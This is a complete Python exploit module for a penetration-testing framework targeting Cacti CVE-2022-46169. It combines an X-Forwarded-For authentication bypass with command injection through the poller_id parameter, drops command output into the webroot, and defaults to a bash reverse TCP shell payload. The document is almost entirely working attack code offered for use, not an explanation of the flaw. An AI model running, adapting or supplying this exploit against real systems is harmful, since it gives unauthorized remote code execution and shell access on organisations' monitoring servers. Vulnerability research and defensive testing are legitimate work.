Cacti CVE-2022-46169 remote_agent RCE

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Cacti CVE-2022-46169 remote_agent poller_id command injection."""

from __future__ import annotations

import re
import time
from urllib.parse import quote

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Exploit, Http_client):
    __info__ = {
        "name": "Cacti CVE-2022-46169 remote_agent RCE",
        "description": (
            "CVE-2022-46169 (Cacti <= 1.2.22): X-Forwarded-For auth bypass on "
            "/remote_agent.php plus unsanitized poller_id passed to proc_open(). "
            "Uses in-band webroot file drop when readable."
        ),
        "author": ["KittySploit Team"],
        "cve": ["CVE-2022-46169"],
        "platform": Platform.LINUX,
        "arch": [Arch.CMD],
        "payload": {
            "default": "payloads/singles/cmd/unix/bash_reverse_tcp",
            "platform": Platform.UNIX,
            "category": PayloadCategory.CMD,
        },
        "references": [
            "https://nvd.nist.gov/vuln/detail/CVE-2022-46169",
            "https://github.com/dinosn/exploit-watch-archive",
        ],
        "tags": ["cacti", "rce", "unauth", "cve-2022-46169"],
        "agent": {
            "risk": "critical",
            "effects": ["active_exploitation", "remote_code_execution"],
            "expected_requests": 6,
            "reversible": False,
            "approval_required": True,
            "produces": ["exploit_paths", "rce", "shell"],
            "requires": {"tech_hints_any": ["cacti"]},
            "chain": {"suggested_followups": ["scanner/http/cacti_cve_2022_46169_detect"]},
        },
    }

    cacti_path = OptString("", "Cacti URL prefix (empty = site root)", required=False)
    drop_dir = OptString("/var/www/html", "Webroot for command output drops", required=False, advanced=True)

    def _agent_query(self, poller_id: str) -> str:
        prefix = str(self.cacti_path or "").strip().rstrip("/")
        base = f"{prefix}/remote_agent.php" if prefix else "/remote_agent.php"
        params = {
            "action": "polldata",
            "local_data_ids[0]": "6",
            "host_id": "1",
            "poller_id": poller_id,
        }
        qs = "&".join(f"{k}={quote(str(v), safe='')}" for k, v in params.items())
        return f"{base}?{qs}"

    def _inject(self, shell_cmd: str) -> None:
        payload = ";" + shell_cmd
        self.http_request(
            "GET",
            self._agent_query(payload),
            headers={"X-Forwarded-For": "127.0.0.1"},
            allow_redirects=False,
        )

    def execute(self, cmd: str) -> str:
        marker = f"kitty_{int(time.time())}.txt"
        outfile = f"{str(self.drop_dir or '/var/www/html').rstrip('/')}/{marker}"
        self._inject(f"({cmd}) > {outfile} 2>&1")
        read_path = f"/{marker}"
        if str(self.cacti_path or "").strip():
            read_path = str(self.cacti_path).rstrip("/") + read_path
        for _ in range(10):
            resp = self.http_request("GET", read_path)
            if resp and int(resp.status_code or 0) == 200 and (resp.text or "").strip():
                self._inject(f"rm -f {outfile}")
                return (resp.text or "").strip()
            time.sleep(1)
        return ""

    def check(self):
        neg = self.http_request("GET", self._agent_query("1"))
        neg_body = (neg.text or "").lower() if neg else ""
        pos = self.http_request(
            "GET",
            self._agent_query("1"),
            headers={"X-Forwarded-For": "127.0.0.1"},
        )
        pos_body = (pos.text or "") if pos else ""
        if "not authorized" in neg_body and (pos_body.strip().startswith("[") or "local_data_id" in pos_body):
            return {"vulnerable": True, "reason": "remote_agent auth bypass confirmed", "confidence": "high"}
        return {"vulnerable": False, "reason": "remote_agent bypass not confirmed", "confidence": "medium"}

    def check_execute(self):
        token = self.random_text(8)
        body = self.execute(f"echo {token}")
        return token in (body or "") or bool(re.search(r"uid=\d+", body or ""))

    def run(self):
        shell = self.shell_from_payload()
        if not shell:
            print_error("Set payload")
            return False

        chk = self.check()
        if not chk.get("vulnerable"):
            print_error(chk.get("reason", "Not vulnerable"))
            self.not_vulnerable()
            return False

        print_status("CVE-2022-46169 — Cacti remote_agent injection")
        if not self.check_execute() and not re.search(r"reverse|bash|/dev/tcp|nc ", shell, re.I):
            print_error("In-band execution failed — try reverse payload or fix drop_dir")
            self.not_vulnerable()
            return False

        out = self.execute(shell)
        if out:
            print_info(out[:4000])

        if str(self.shell_from_payload() or "").strip():
            return True
        return True